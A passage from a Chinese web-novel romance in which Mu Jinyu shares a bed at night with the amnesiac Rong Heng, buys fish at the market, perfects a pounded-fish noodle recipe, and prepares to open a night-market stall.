直勾勾盯着她,让她说出自己的罪行。 她很想喊一声,冤枉啊!但又怕荣姮一个不高兴,直接把自己砍了。 两人互相看着对方,一个不敢说话,一个暂且不会说话。 就那么僵持着,都不知对方在想什么。 好一会儿,站在床边半弯着腰的荣姮,许是觉得这个姿势有些累人,便缓缓蹲下身。 跪坐在地上 双臂重叠着搭在床边,下巴挨着放在手臂上,头微微歪向一边,用一双漆黑如墨,阴森如鬼的双眼看着穆今羽。 她睡不着,觉得屋子中乾元的味道很难闻,便晃晃悠悠去到院子中,坐在石桌旁,静静发呆。 她什么也没想,就只是感受着云卷云舒微风拂面,嗅闻着天地间草木的气息。 柿子树还没有结果,味道很是清香的。院墙边晾着的衣物上,散发阵阵皂角香气。院墙下的缝隙里长出一团团杂草,有独属于青草的香。 甚至就连这个院子中,泥土的土腥气她都闻得到。 每一样都比那腐朽的、让自己做噩梦的梧桐树味,好闻很多。 静静地呆着……呆着……荣姮脑袋中起了疑惑。 可是白日里,她并没有在那个乾元身上闻到腐朽的味道啊? 反倒是清香的,生机勃勃的味道。 她想不明白那么多,便起身,直接走进穆今羽的屋子,站在床边,直直看着床上熟睡的人。 还弯下身,瀑布般的黑发,如同柳树的枝芽垂下。才换上的衣服对于她来说有些宽大,层层叠叠堆积在床边一角。 她用鼻尖去嗅闻。 乾元的味道如一缕青烟似的飘起,荣姮仿佛看见一颗枝干粗壮,能遮天蔽日,阻挡任何风雨的梧桐树出现在自己眼前。 这个味道让荣姮舒心很多,忍不住靠得更近。 穆今羽就是在这个时候醒来的。 荣姮根本就不知道自己散乱的黑发,苍白的脸,浓墨似的双眼,会吓到穆今羽。 她就只是觉得有些小窃喜,觉得在这个深夜中有人和自己一样睡不着。 穆今羽:…… 穆今羽心惊胆颤地等了许久,都没等到荣姮对自己下手,她这才敢有些许动作,移动着眼球,小心翼翼去观察荣姮的神情。 荣姮脸上没有表现出对自己的恨意与厌恶,好像什么变化都没有,依旧呆呆的。 根本没有恢复记忆。 穆今羽不自觉松了口气,试探着开口道:“你怎么不睡觉?” 荣姮脑袋直了些,摇了摇头, “睡不着?” 荣姮又摇了摇头。 她是睡得着的,只是很不喜欢那间屋子里的气息。 可看见她摇头的穆今羽,是彻底摸不着头脑,不知荣姮要干什么了。 她只能道:“你小心些,别压着伤口了。” 荣姮自己不疼的吗? 那手臂上全是大大小小的刀伤,还敢双手叠在一起,用下巴压着? 听到穆今羽的话,荣姮两只手臂上下变换姿势,又压在一起,明显根本没听懂穆今羽在说什么。 “哎……” 穆今羽叹了口气,也没再管了。 她确认荣姮不是恢复记忆,只是不知为何要来守着自己后,闭上眼好一会儿,缓解脑袋中的困顿,觉得自己稍微清醒后,才翻身坐起。 夜晚微凉的空气灌入被子中,穆今羽才发觉自己惊出了浑身冷汗。 也幸好荣姮现在没有穿着一身白衣,否则她不仅会被吓出冷汗,还会被吓得撅过去! 她盘腿坐在床上,一边扯着衣服给自己透着气,一边道:“你是找我有什么事吗?可是伤口疼了或者饿了冷了?还是有哪里不舒服?” “算了,你别在地上跪着了,快起来。” 这大半夜的,荣姮跪坐在自己床边算怎么回事? 不知道的还以为自己欺负她呢。 她伸手想去碰荣姮,却被荣姮躲开。 看样子荣姮也没有完全信任她,只是赖在她的屋子里不走。 穆今羽感觉自己脑袋有些疼,用指尖揉按着头皮,琥珀色圆眼里满是无奈,试探着问道:“那要不我走?” 反正家里有两间房,她睡哪里都可以。 只是话音刚落,荣姮就立马拨浪鼓似的摇头,幅度比刚才大太多,一看就知道她不愿意。 “你不去睡,也不让我去睡。”穆今羽:“你就想和我待在一起?” 这下总算说到荣姮心坎里去了。 她重重点头,又回到床边,蹲下身,双手抱住膝,仰头,眼巴巴看着穆今羽。 有了白日相处的点点滴滴,她现在还是比较信任穆今羽的,愿意待在穆今羽身边。 只是穆今羽有些受不了,有人蹲在或跪在自己床边,看起来就很奇怪。 她着急道:“哎哎哎,你别蹲在这里!算了算了,你坐床上吧。只要你不觉得我会伤害你,你就坐床上得了。” 她本以为荣姮既然愿意和自己待在一起,那坐床上这个提议应当也是会愿意的。 哪想荣姮没有动,就那样趴在床边,仿佛这样更舒服。 穆今羽:…… 拉扯来拉扯去,把她头都拉扯大了。 荣姮不说话,她实在不知对方想表达什么意思。 穆今羽手指按压自己头皮的力道更大了些不说,还换上了双手,就差把自己头发揉成鸡窝。 荣姮不想去睡觉,也不想自己离开。想和自己待在一起,但又不想靠自己太近。 该如何…… 突然之间,穆今羽灵光乍现,似乎懂了面前人的想法。 面前之人对自己还是警惕的,虽然愿意待在一个空间内,但还是不想靠得太近。 所以她只要离远些就行了。 “你这是既想和我待在一起,又不想靠我太近对吗?”穆今羽边问,边朝床内挪动几下,同床边的荣姮拉开距离。 荣姮抬头看了穆今羽一眼,那呆呆的眼神中出现赞许的神色,惹得穆今羽失笑。 行呗,她又朝里挪了几分,整个人靠在墙上,给荣姮留出大片空间。 而荣姮也从地上站起,连续瞧了她几眼,好似在心中做了许久的斗争,告诉自己,要稍微相信面前的人一点。 这才下定决心,坐在床的最边缘。 穆今羽困顿地打了个哈欠,嗓音有些发哑:“你在这里待会儿,就去睡觉好吗?” 她们两人待在同一个空间内,谁都睡不好,还不如各自分开。 荣姮没有点头,也没有摇头。 只是把背轻轻靠在床栏边,换了个更舒服的位置。 屋子内安静下来,只有两道呼吸声此起彼伏。 这屋子曾是原主两位母亲住的地方,要比另外的屋子大上许多。 梳妆台、衣柜,甚至连小榻都一应俱全不说,用的木材还是比较好的木材,木腿上还雕了花! 可以看出她们曾经的生活是如何富足。 穆今羽倚靠着墙,知晓此时应该同荣姮聊点什么东西,彼此寒暄,打发时间。 可她同荣姮又不熟,再加上她确实困的不行,脑袋小鸡啄米般点着,根本无法去想合适的话题,就只能嘟囔着开始说自己明日要干什么。 她明日要干的事情可多了,打算多买点种类不一的鱼,花一日功夫把敲鱼面改良好。 还要买好些东西,把家里缺的柴米油盐酱醋茶给备齐。 想想都是好大一笔开销,她只有那么一点银子,掰开成三四瓣也不够用。 要是敲鱼面卖不成,那她都不用等到荣姮恢复记忆,喝西北风就能把自己喝死。 讲着讲着,穆今羽声音渐渐小下去,整个人垂着脑袋靠着墙睡了过去。 还做起了梦。 梦中她化成一个小人儿,跑来跑去,忙得焦头烂额。 靠在床栏旁的荣姮即便听不懂穆今羽在讲什么,但还是在认真地听着。 直至四周安静下来。 她没有离去,就靠在床边,跟着穆今羽一起睡了过去。 乾元身上的性香味很好闻,没有一点点杂质,让她忍不住想要依靠。 她也做了梦,不再是之前那个满是黑泥压得她喘不过气的噩梦。 而是晨曦初露,惠风和畅的美梦。 - 夜市街里的众人都是昼夜颠倒的,所以没有人养打鸣的公鸡,生怕吵到自己睡觉。 但清晨,家禽猫狗的叫声还是多了起来。 穆今羽就在这种此起彼伏的声音中,慢慢醒过来。 这一觉她睡得自在极了,感觉连日来的精神消耗被抹去,只剩下舒爽。 她眯着眼,先是看了会儿窗外隐隐绰绰的绿意,以及窗户缝隙中透进来的微光。 才缓慢把眼神放到……荣姮身上!?! 荣姮不仅一晚上没走,还和她睡在同一张床上!? 穆惊羽倒是没觉得有什么大不了,她们二人都是女生,睡在一起也很正常。 只是她有些担忧,没失忆前的荣姮会不会有那种,洁癖、任何人都不准近她身、天上天下唯她独尊的症状? 如果有的话,自己会被记恨吧? 她明明是想讨好荣恒的,怎么搞到现在全在做反事? 等等,不对! 穆今羽捂住自己脑袋,突然想起这个世界不止两种性别,而是六种! 自己是乾元,荣姮是坤泽。 这代表着她们两人性别是不一样的。 那她们睡在一起,会不会有什么忌讳? 她实在是找不出自己和荣姮哪里不一样,明明都是一样的,怎么就性别不一样了呢? 这样的话,她根本无法分辨性别啊! 穆今羽琥珀色的眸子抖了好几下,看着倒着睡在床上的荣姮,纠结她应该继续装睡,等荣姮醒来后自己离开。 还是现在就悄悄下床? 还是现在下床吧。 穆今羽缓慢起身,一点一点把自己的被子掀开,蠕动着朝床外靠近。 她既然已经知晓自己和荣姮性别不一样,就不能装作不知道而继续待在床上。 省得引起误会。 她身体扭曲的躲开荣姮的四肢,堪称谨小慎微,怕把人给吵醒。 下床后,穆今羽做亏心事般一溜烟跑到院中,才敢松口气。 祈祷荣姮不会介意,不会在恢复记忆后把自己砍成臊子。 她在院中来回踱步几下,才逐渐压下狂跳的心脏,到井边打起几半桶清凉的水。 倒入锅中烧着。 等水变得温热,才开始洗漱。 顺便还活动了几下因睡姿不好,而变得僵硬的身体。 洗漱完,她把灶中的火熄灭,埋了一个红薯进去。就捏着不到一两的银子,准备出门去买东西。 关上院子门时,她犹豫一下,还是决定把院子门锁上。 今日时辰尚早,鱼贩子们才刚刚开始卖鱼。 鱼新鲜不说,种类还多。 穆今羽蹲下身,同其他百姓们挤在一起,用手指翻动大木盆中堆积着的鱼,查看这些鱼的品种和状态。 都很好,活蹦乱跳的,是才从江里打捞起,运过来的。 楼许县的鱼卖得不贵,身旁有许多百姓在问价,穆今羽听了一耳朵,便知晓各种鱼的价钱了。 她没有立马买,而是又来到其他鱼摊子上,货比三家。 肉市挺大,从街头走到街尾,少说有二十几家铺子。但卖鱼的都集中在一个地方,也省得穆今羽到处乱窜。 挨家挨户看过去,来到最后一家鱼铺时,鱼铺里忙着给其他百姓宰鱼杀鱼的老板,居然还抽空望了她一眼,说道:“哎,你不是穆家那乾元吗?” “你近日可还好?想以前,你母亲们都是从我这里进鱼的。现如今……节哀啊……” 这鱼铺老板是个坤泽,原主母亲们开始卖炸小鱼后,就一直是从她这里进的鱼,三人关系甚好。 只是原主鲜少同母亲们一起去进货、摆摊,所以穆今羽对这老板不是很熟悉,看了好几眼才认出来。 突然一下听到别人和自己寒暄,她便打起十二分的精神应付着。谈到原主的两位母亲时,她也想起了自己妈妈,神色难免有些郁郁。 对方适时说道:“你也不要太忧伤,振作起来,你母亲们也不想你有事的。” “今日正好遇见你,从我这里拿两条鱼回去,好好补补。” 鱼老板有些唏嘘,想不到两位正值壮年的妻妻,就这么出了意外,真是世事无常。 她得知这个消息后,也送了两条鱼到原主家中,聊表心意。 听到对方要送自己鱼,穆今羽连忙道:“不用送我不用送我。今日我要买的鱼有些多,不好占你便宜。” 对方卖的鱼很是新鲜,种类还比其他几家鱼铺都多,她便没有离开,而是思索几息自己需要哪些鱼后。 指了好几条贵价的鱼,道:“各要一条,要最小的。” 她银子不多,得省着点儿用。 “好,没问题,我这就替你先捞。要剐杀吗?”问完,鱼老板看向自己的乾元妻子说道:“你去先替她把鱼捞起来。” 乾元得令,手脚麻利的从水盆中捞出几条最小的鱼,放在案板之上。 穆今羽点头:“要得要得,帮我把鱼刺都剔了吧,鱼头也留着。麻烦了。” 鱼老板拿起锋利的菜刀,用布擦干净上面的血腥。 刀面照着鱼脑袋上一拍! 刚还摇头摆尾蹦蹦跳跳的鱼,就躺在案板上一动不动了。 锋利的刀锋在鱼脑袋两边划了一下,就把鱼脑袋切开,鱼鳃剔了出来。 接着,她用刀在鱼身上刮着。把鳞片全部刮下,舀起一瓢水桶中的清水,冲倒在案板上。 冲去所有血腥与鳞片。 案板变得干净后,她切掉鱼身上所有边刺,用刀锋在鱼肚子上丝滑一拉!鱼腹破开,里面的内脏被挑出。 鱼老板动作不停顿,往鱼尾巴上宰上一刀,宰掉鱼尾巴的同时,刀朝内撬,直接把整条鱼一分为二。 起鱼刺的过程,对于老板这种熟手来说不算困难。 刀贴着鱼排部分,斜着切进去三分之一的深度,再用刀在鱼肉上轻轻一划。 捏着那被划开的鱼肉用力拉扯。 一排连接着鱼肉的鱼排被完整扯出,不仅速度快,鱼老板还有功夫同其他客人聊天呢。 接着是去小刺。 去小刺要先把鱼腹上的肉,薄薄切下一层。这样,就能看见下面隐藏着的、排列整齐的小刺。 小刺总共有两层,用刀把有小刺的鱼肉沿着边缘切下,小刺就被完美剔出。 麻利极了! 不到一刻钟,穆今羽选的几条半大小鱼鱼刺就被全部剔出,鱼肉也被切成片,分别包入荷叶中。 鱼头和被切下来的、带有小刺的鱼肉部分也没有扔,而是仔细给穆今羽包起来。 大包小包地递给她。 “五条鱼共七十五文。说了送你两条,你给我六十文就行,多了我可不收。” 鱼老板边说着,边用清水把案板冲洗干净,继续为其他人宰切着鱼肉,动作一刻也不停。 她这里的鱼根据品种不同,价钱有高有低。价钱最低的是十五文一斤,价钱最高的能到二十五文一斤。 穆今羽买了五条鱼。每条都不足一斤。算来算去,为穆今羽减去十五文,已经不算少了。 见鱼老板真打算给自己便宜,穆今羽也不好在对方忙的时候,还同对方推辞来推辞去。 便感谢了好几声,给了六十文。 出门第一天就得到了优惠,拎着满满一手鱼肉,走在肉市中的穆今羽唇边忍不住抿出一抹微笑。 觉得今日开了个好头,估计一日都会幸运。 从肉市走出,她晃到隔壁菜市。 先是买了一棵菘菜,也就是白菜,后又买了大量的红薯粉,以及盐、花椒,胡椒、葱姜蒜等调味品。 这些调味品很贵,银子全部花出去,换回来五串吊钱,总共是五百个铜板,以及多到她快拎不下的东西。 拥有的银子太少,在花的时候穆今羽都有些心惊胆战。 有点怕自己这样破釜沉舟的把银子花光,最后血本无归可怎么办? 但她又想到自己家在夜市街是有摊位的,如果不尝试,那不白白浪费了? 况且就算她真的血本无归,那她就去食肆中当店小二,总归是条出路,不至于饿死。 如此宽慰自己一番后,穆今羽走路带风的往家的方向赶去。 - 家中,荣姮睡到日上三竿,窗外天光大亮,才被如此刺眼的光亮给扰醒。 她眉朝里蹙成山川模样,盖在苍白如纸般的脸上的睫毛微微颤动,漆黑的眼睛睁开,好似一卷水墨画在徐徐展开。 眼下泪痣殷红,双唇不点而赤,是画中点睛的红花。 荣姮一醒就开始四下搜寻穆今羽的身影。 没有看见人,她心中也不知该庆幸来之不易的逃跑机会,还是该低落她不知穆今羽去向。 荣姮直愣愣走到院中,又发了会儿呆,才上手去拉院门。 院门还同昨日一样拉不开,有稀里哗啦铁物碰撞的声音,她不明白是什么声音。 知晓自己不能离开,荣姮坐到院中石桌旁,又开始发着呆。 她脑海中没有无聊的概念,也不知可以找事情打发时间,只知晓就这样静静坐着,时间很快就会过去。 许久、许久、 院子中飘出一股幽幽焦香。 荣姮鼻尖轻微耸动,鼻子上的皮肤皱出小褶,身体自发的动起来,顺着幽香飘来的线路,找寻过去。 最终来到灶口旁,坐在穆今羽常坐的板凳上,拿着钳子,往灶口里戳。 她想起那个味道是什么了,是表皮焦黑内里金黄的食物。 穆今羽似乎叫这个食物红薯? 把红薯扒拉出来后,荣姮把它放在灶台上,也不怕烫,一边剥着红薯皮一边猛猛吹气,想要把热气吹散。 实在被烫得受不了了,就把通红的手指放在嘴前,呼呼吹两下,又继续剥着。 好一会儿,她终于剥出一半的红薯,便迫不及待埋头吃起来。 腮帮子都被塞得鼓鼓的。 在狂风般吃完半个红薯,手指正准备继续剥剩下的皮之时,她却突然停顿下来。 眼神朝院门的方向看去。 她想起每次吃东西时,穆今羽都会分给她一半,那她现在要分给穆今羽吗? 荣姮手指蜷缩起来,觉得这是当然的,可……这红薯实在是太好吃了,她有些忍不住。 手指又渐渐伸直,搭在红薯皮上,微微用力。 好饿,即便把这红薯全吃完也是不够的。 好饿。 要不吃了吧?不用分给穆今羽,反正穆今羽也不知晓。 正准备剥皮的手指停顿下来,再次蜷缩在一起,食指和拇指微微搓着,缓解着因太烫带来的痛感。 可自己昨日好像动手打了穆今羽,今日再把东西吃完…… 荣姮不知自己这样做到底对不对,但她总觉得自己心里会不舒服,有点微微的麻意和苦意。 怎么办? 荣姮纠结的整张脸都皱在一起,手指不断来回伸缩。 最终,她强迫自己坐回石桌旁,眼不见心为净,硬生生把食欲给忍了下来。 心中有了事,荣姮才猛然发觉,呆呆地坐在石桌旁等着穆今羽回来,是那么难熬的。 她等啊等,等得天上的太阳越来越大,越来越亮之时,院门处终于传来响动。 稀里哗啦的铁声响起,略显厚重的木质院门被推开。 穆今羽沐浴着阳光,以及因为风吹而哗啦哗啦掉落的柿子树叶,走进院子中。 她表情是朝上扬的,是明媚的,看得出来心情很好。 荣姮从来没有哪一刻,像现下这般期待穆今羽回来。 她咻的一下站起身,朝穆今羽冲去。 前脚刚踏进门槛的穆今羽,见她像个炮弹似的冲来,吓了一跳,还以为她想趁着开门的功夫窜出去。 她赶忙跨进门,反手就把门紧紧关住,背抵着,不让荣姮有跑出去的机会! 跑来的荣姮根本没注意她的小动作,在穆今羽身旁刹住车后,就用双眼看着她,也不说话,就那么直愣愣的。 “干、干什么?”穆今羽被看的心虚,一边偷摸用锁把门锁上,一边询问道。 她真是觉得自己有些像反派了,干的都是些什么事儿啊! 锁好门后,穆今羽才敢从院门旁离开。 她这种刻意把人关在院子里的动作,被荣姮撞破,搞得她都有些尴尬。走到灶台旁,把买回来的东西这个叠那个,那个叠这个,显得很忙的样子。 口中也开始有些磕巴道:“你先去坐,你身上的伤要多休息,别在这里守着我。” 但荣姮没有听她的,依旧用双眼直勾勾地看着她,一瞬也不离。 那副模样,明显是有事。 穆今羽心虚,看看荣姮,整理了一下自己买回来的东西。看看荣姮,又整理一下自己买回来的东西。 来回几下后,她才终于看见被荣姮放在灶台上的半截儿烤好的红薯。 穆今羽琥珀色如蜜糖般的双眼怔了一下,很快便反应过来荣姮这是发现了烤红薯,并且还给自己留了一半。 她再次看向荣姮,双眼迎着阳光变得更加明亮,流光溢彩,好似被人刻意收集来珍藏的玻璃珠,特别耀眼。 她就说今天一定会很幸运。 而荣姮,看着这双眼睛,也怔愣住。 她突然觉得自己做得很好。 7、第 7 章 “给我的?谢谢。”穆今羽把手上拿着的东西放下,两只手合在一起连搓好几下,才去拿那半个红薯。 半个红薯在外面放了好一会儿,都变得有些凉了。 穆今羽再次看了荣姮一眼,冲她露出一抹笑,这才捧着红薯,吃起来。 穆今羽心中很是欣慰,没想到荣姮还挺善良的,就算找到了她烤的红薯,也会想着给自己留一半。 而且她本来的想法也是,两人分一个红薯先垫垫肚子。毕竟她马上就要做敲鱼面了,吃太饱就吃不下面。 想法如此不谋而合,使得穆今羽放下一丝对荣姮的戒备。 觉得对方也不是不好相处的人,说不定恢复记忆后,也不会对自己怎么样。 穆今羽边吃着甜滋滋的红薯,边如此想着。 而站在一旁的荣姮看着她开始吃后,不自觉咽咽口水。 她本来就没吃饱,是靠着极强的意志力,才把那半个红薯留下来的。现在再看着对方吃的那么香,真怕自己一个忍不住抢了去。 她整个人背过身,双手捏在一起,告诉自己只要不看她就不想吃! 穆今羽没发现荣姮馋的都快流口水了,她三两口把红薯吞下肚,冲着那背影说道:“我现在做敲鱼面,等会儿就可以吃了。” 把大包小包的荷叶拆开,先是把鱼头和带刺的鱼肉全部放在木盆中,撒上大量的盐。又把姜蒜拍碎,连着大葱一起放进木盆里,用手均匀地涂抹在鱼头和鱼肉每一寸。 起到去腥的作用。 洗干净手,穆今羽又把红薯粉撒在案板上,放上鱼肉,开始用木棍敲敲敲。 她只用了一半的鱼肉,因为今日她要尝试的方法有些多,得省着点用。 荣姮听到声响,转过身来,好奇地看着穆今羽的动作。 只见那木棍上下敲打之间,带起尘烟般的粉末。粉末落下,撒在肉白色的鱼肉之上,被木棍敲打进肉里。 这次,穆今羽要比上次认真许多,用相同的力道,匀速的敲打着。还用手不断旋转着鱼面,使得鱼面每一寸地方受力都是均匀的。 应当不会出现上次那种,鱼肉和红薯粉没有混合均匀的情况。 莫约一刻钟过去,案板上出现漂亮且晶莹剔透的片状鱼面。 鱼肉被敲打得松散,如同泥一般,但又因着有红薯粉的存在而紧密相连,并没有散掉。 穆今羽把锅烧热,让鱼面在锅中烘烤。 不一会儿,今日第一片鱼面就做好了。 她没有着急把这鱼面片给切成面条,下锅煮熟。而是先放在一旁,准备把所有的鱼面都做出来后再煮。 她是要了解到底哪一种鱼做出来的鱼面更好吃些,所以她得在同一时间尝这些鱼面才行。 为防止串味,穆今羽烤完第一片鱼面后,还把案板、木棍和锅都擦了擦。去掉上面的味道,才开始做下一份敲鱼面。 一时之间,整个院子里都回荡着咚咚咚的敲打声。 又过了许久,穆今羽才把五种鱼全部做成敲鱼面,并且各切一半下来,起锅烧水,把一半的鱼片放进清水中煮着。 煮熟捞出,分别放在五个碗中。 “”快来快来!一起尝尝哪一种面好吃?”穆今羽抽出两双筷子,递给荣姮一双。 她率先挑起最右边碗里的鱼面,呼噜吃进嘴中。入口,这种鱼同鲫鱼做出来的敲鱼面,味道并没有太大区别,依旧是有些腥的。 为了不串味儿,她还用清水漱了漱口才继续尝试第二碗。 第二碗的鱼同第一碗的鱼,价钱一样,都是十五文。 口感上腥味是一样重的。还有就是鱼肉的肉质偏柴,并不像上一世吃到的敲鱼面那样细滑。 明明她已经把鱼肉敲得软烂了,为何还会有这种口感? 穆今羽一边思索,一边继续吃下一碗。 第三碗和第四碗的价钱也是一样,20文。 口感要比十五文的好上些许,但依旧各有各的差。 一个口感偏硬,失去了属于红薯粉的筋道。一个口感偏软,要不是有红薯粉在其中起到连接的作用,恐怕在锅里的时候就断开了。 连吃四碗面,都没有让穆今羽吃到合适的。 说实话,挺失望的。 惹得她脸上表情不再如之前开朗,眼中露出担忧。 要是她一直找不到合适的鱼怎么办? 难道要将就吗? 可……做吃食不就是要做到尽善尽美吗? 做出一道将就的食物,那食客们也可以将就着吃,也可以将就的换其他吃食。 没有竞争力的…… 穆今羽垂眸,端起茶杯喝了口清水,在口中漱了漱,继续吃第五碗。 而她身旁,荣恒就跟在她的动作后,挨着把碗中的敲鱼面唏喱呼噜全吃完。甚至每吃完一碗,还学着穆今羽的动作,喝一口清水。 虽然她并不知道这样有什么用。 第五碗,穆今羽用筷子挑起一根面条,放入口中嚼嚼嚼。 那种熟悉的、有韧劲儿的弹牙感,以及鱼肉细滑绵密的口感传来。穆今羽双眼终于亮了起来。 浅浅被惊艳到。 是了,就是这种味道,已经很像了。 虽然面中还隐藏着一丝鱼肉的腥味,但这已经和她吃过的、沿海地区做出来的敲鱼面很像了。 果然,一分价钱一分货,这可是二十五文一斤的鱼啊! 用这种鱼来做敲鱼面,成本得多高呀? 穆今羽忽觉肉疼,但眼中情绪还是高兴的。 终于被她找到合适的鱼了! 用清水漱口后,穆今羽趁热打铁,打算接着做下一轮面。 这次,她把一旁的鱼头鱼骨放入锅中,燃起小火,开始慢慢熬着鱼汤。 熬鱼汤的时间久些,她就接着把剩下一半鱼肉做成敲鱼面。 只是这一半鱼肉做出来的敲鱼面,往其中撒入了花椒粉、胡椒粉,以此来去腥。 穆今羽不断煮着面,不断尝试着。 总共用了四种不一样的办法,做了二十碗面出来。 分别是用清水煮的,没有加花椒粉、胡椒粉的面和加了花椒粉、胡椒粉的面。以及用鱼骨汤煮的,没有加花椒粉、胡椒粉的面和加了花椒粉、胡椒粉的面。 这二十碗面口感都各不相同。 其中加了花椒粉、胡椒粉去腥的面,不管用清水还是鱼汤煮,其味道中都掺杂着有花椒胡椒味儿。 其实并不难吃,但有其他味儿混杂,就会让人下意识忽略掉此面的鲜美,吃不出好坏,变得同普通面无异。 唯一让穆今羽觉得无限趋近于完美的敲鱼面,是用鱼骨汤煮出来的。 因为鱼骨事先就用葱姜蒜和盐去了腥,所以熬出来的汤并没有腥味。且因为经过了汤水的稀释,汤里面的调料味已经微乎其微,只剩下属于鱼骨本身的浓郁鲜美。 再用这个汤来煮面,面条自带的那一点点腥味,既能被鱼骨高汤带走不说,还更增加了一分面条的鲜香醇厚。 简直是人间致美! 锅中浓郁的乳白色汤汁在咕噜咕噜冒着泡,湿热蒸汽不断往穆今羽脸上扑腾。 她想要再捞几根用鱼骨高汤煮出的敲鱼面来吃,哪想低头一看碗。 整整齐齐二十个空碗摆在她面前,连碗里的汤都被喝完了,一滴不剩! 而她身后的荣姮正砸吧砸吧嘴,摸着自己的肚子,似还有些意犹未尽。 穆今羽:? 要知道她每碗面都只吃了一根呀! 8、第 8 章 “你都吃完了?那么多面都吃完了?” 穆今羽难以置信地拿起碗,往下倒了倒,一滴汤都没倒出来,可见有多干净。 她眼神落到荣姮肚子上,想看看那肚子有没有什么变化,怎么能装得下二十碗面的? 暖阳融融,吃饱喝足打了个饱嗝的荣姮,接触到她的视线,立马用双手捂着肚子,警惕地朝后撤了好几步。 那模样好似在说,吃进我肚子里的东西就是我的,你可别想抢。 “真不知道你是被饿了多久,能吃下这么多东西。” “挺好挺好,你吃完了也不浪费。” 穆今羽连尝二十碗面后,其实也吃饱了,如果不被荣姮吃完也是浪费。 况且荣姮能一次性吃掉那么多面,说明她做的面很好吃,不是吗? 有如此捧场的人在,穆今羽对自己做的敲鱼面多了几丝信心,脸上也忍不住露出笑容。 “那我以后再做出什么东西来,你也不许嫌弃。” 穆今羽顺手把灶台上摆放的二十个碗重叠在一起,放入大圆木盆,从水井中打上水,开始洗碗。 边洗边美滋滋想着,既然已经找到合适的鱼了,那要不一鼓作气把小摊给开起来? 反正她也没什么要准备的,多拖几天就是多几天的煎熬,还不如早早把小摊给开起来,边遇到问题边解决。 如此想着,穆今羽稀里哗啦洗完碗筷,擦干净手,对荣姮:“我再出趟门,你就待在家里老老实实的。” 说罢,马不停蹄出门了。 她们住的地方属于夜市街的后街。 因着离夜市街正街近,夜市街的商贩、老板们基本都住在这里。 而夜市街的正街,才是真正的喧哗之地。 那里,整条街道两旁全部摆满小摊,什么饮子、糕点啊,什么糖画、鱼灯啊, 吃的玩的应有尽有。 有时有些佳人才子还会站在小桥上,对着青天碧河吟诗作对,好不风雅。 平日里只要天黑一点,夜市街中就会变得人声鼎沸起来。 如若再遇到上元节、乞巧节、中秋节等节日,那夜市街可真会变成人挤人,堵得水泄不通的地方! 夜市街正街离穆今羽住的地方很近,拐个弯就到了,白日里这里冷冷清清的,只有两排小摊摆在道路两旁。 穆今羽凭借着记忆,走到属于自家小摊的地方。 原主母亲们的生意应该是真的很好,小摊的占地面积挺大的,有别人家两个摊位那么多。 小摊是公家的东西,在夜市街里做生意的商贩、老板们,都是向公家租小摊来用的。 生意好些,租的摊就大些。 小摊的造型,有点像穆今羽前世见过的小推车。推车上有个小棚子,虽不能遮风,但挡挡雨还是可以的。推车下垒了个简易的灶,这样一来,生火做点什么就容易许多。 她放眼望去,夜市街里几乎所有小摊都是这种造型。不得不说,只是一处简单卖吃食的地方,也是有大智慧在的。 穆今羽确认自家摊位的地址后,又赶回家中,走到杂物房里,开始盘点原主母亲们留下了什么东西。 她们专门卖炸小鱼的锅、漏勺等器具,都还完好无损地摆在杂物房中。 穆今羽掂了掂,觉得这些东西自己也用得上,便打算等天黑就把这些东西带到小推车旁。 杂物房中没有桌子和筷子,只有七八条板凳,以及一大堆油纸。 想来也是,炸小鱼这种小吃,用油纸一包就可以边走边吃。 即便有客人想吃完再走,坐在凳子上也就够了,基本用不上桌子。 可穆今羽卖的是面,且不说让客人边走边吃,会不会不太好,光说那油纸就根本没法用来包面。 还得是用碗才行。 用碗的话,家里倒是有二十来个碗,应当是够用的,只是她总不可能让客人把碗端走吧? 看来还得买几张桌子,让客人坐在一旁吃是最好的。 如此想着,穆今羽又匆匆离去,打算去了解桌子的价格。 看见她再次把院门关上,跟在她身后转来转去的荣姮,就呆愣地站定在院门旁。 也不去玩,也不去坐,就那么看着门。 穆今羽来到卖家具的铺子,里面的桌子倒是多,什么方的、圆的、八角的,甚至折叠的都有。 但价钱各顶各的贵。 穆今羽买不起太精致的,她只需要一块木板上插四个腿的那种普通桌子就行。 这个铺子中有倒是有,只是价格很不普通,要近两百文才能买一张。 穆今羽被这价格吓到,忙不迭从铺子中出来,站在大街上,左右环顾,一时之间不知道去哪儿。 难道就没有地方能买到桌子了吗? 思来想去,她觉得自己可以去木材店问问,说不定那店里有木工可以做这种东西。 说干就干,穆今羽又赶到木材店,还未进门,就看见木材店外堆满了好些木头。 空气中还有木屑在飘。 她冲老板询问了做桌子的事。 在一片锯木头的声响中,老板大声道:“你找我算找对人了!可以做可以做!” “你要做多大的?用什么木材?什么时候要?” 穆今羽也是大声道:“不用太大,够放下两个碗就成。木材也不要太好,越便宜越好。” 她被之前那几百文一张桌子的价格吓到,生怕这里的价格也贵的离谱。 她现在银子不够多,等会儿还得再去买一些鱼,每花一笔都得算计着来。 “行啊。便宜的木头……这根!五十文!大概可以做四五个这么大的桌子。”老板的手在半空中比划了一下桌子的大小。 穆今羽觉得差不多便点了头。 老板:“工费三十文哈。你什么时候要?着急的话,晚食前就能给你做好。先说好,是不打磨不包浆的。” 不打磨不包浆没关系,反正穆今羽也只是买来先应急用。等赚钱了,她肯定会换更好的。 如此想着,她便点点头,付给老板一部分银子当做押金,这才离开。 接着她去买了一把筷子,又绕路到肉市,打算再买几条鱼,准备晚上就开始摆摊卖敲鱼面。 一路上她感觉整个人轻飘飘的,内心忍不住雀跃,难以想象自己居然要做生意了。 “哎,小穆你又来了?” 现在午时已经过了好几刻,鱼摊上的生意已经不如早晨那么好了,鱼老板正站在装了水的木盆旁,清点着自己还剩多少鱼没卖。 一眼就看见朝自家摊子走来的穆今羽。 穆今羽露出一抹笑容,同鱼老板打招呼,“阿姐,我想再买几条二十五文一斤的鱼。” 徐老板被一句阿姐叫得喜笑颜开,怪不好意思的,“哎哟叫什么阿姐啊,我都能当你婶子了。” “你想要二十五文的鱼?”鱼老板指着已经空掉的木盆说道:“那种鱼好吃,是最快卖完的。” “你要是想吃,明日我给你留几条。” 穆今羽顺着鱼老板手指的方向看去,果然木盆中空荡荡的,什么东西也没有。 刚才还轻飘飘,乐滋滋的穆今羽,一下落回实地。 说不失望是假的。 9、第 9 章 鱼老板看见穆今羽失望溢于言表,立马又说道:“唉,别着急别着急,我去给你问问其他摊子还有没有。” 穆今羽虽说不是她看着长大的,但对方的母亲好歹和她做了好几年的生意,现在又出了这档子事,她怎么都不忍心让对方再为这些小事伤神。 